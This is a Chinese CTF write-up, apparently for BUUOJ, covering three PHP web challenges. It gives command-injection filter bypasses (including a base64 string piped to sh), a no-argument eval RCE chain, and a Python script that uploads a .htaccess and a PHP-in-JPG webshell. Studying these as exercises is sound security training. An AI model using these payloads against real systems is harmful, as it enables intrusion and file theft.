WEB
0x 01 Ping Ping Ping
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
|
这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼
接命令;其次过滤了空格,可以使用$IFS$9来替代空格;最后过滤了flflag,这个过滤比较严格,具
体的正则是 .f.l.a.*g. ,可以通过 base64 来绕过,或者用变量名拼接绕过。
解法一:利用反引号
解法二:利用base64绕过
1 2
| ?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh ## 管道符的作用是将上一条命令的输出,作为下一条命令参数
|
解法三:利用变量拼接
1
| ?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
|
0x 02 禁止套娃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
|
考的是无参数rce
解法一:
使用 scandir()查看当前目录情况,可以使用 pos(localeconv()); 构造一个 . 出来,用 print_r() 输出,即可得到当前的目录文件情况。
1
| ?exp=print_r(scandir(pos(localeconv())));
|
发现存在flag.php位于倒数第二个,用一个array_reverse() 函数将数组翻转,再读取next即可读取到flag文件,最后使用 show_source()可以显示 php 代码,即可拿到flag。
1
| ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
|
解法二
0x 03 BabyUpload
1 2 3 4 5 6 7 8 9
| import requests url = "http://408150eb-1fa1-4377-94e9-63e769e1c586.node3.buuoj.cn/" session = requests.session() htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')} res_hta = session.post(url, files=htaccess) files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')} res_jpg = session.post(url, files=files) res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'}) print(res_shell.text)
|
其他题目参考https://hwlanxiaojun.github.io/2020/03/20/%E5%AE%89%E6%81%92%E6%9D%AF%E4%B8%A8%E6%96%B0%E6%98%A5%E7%A5%88%E7%A6%8F%E8%B5%9B/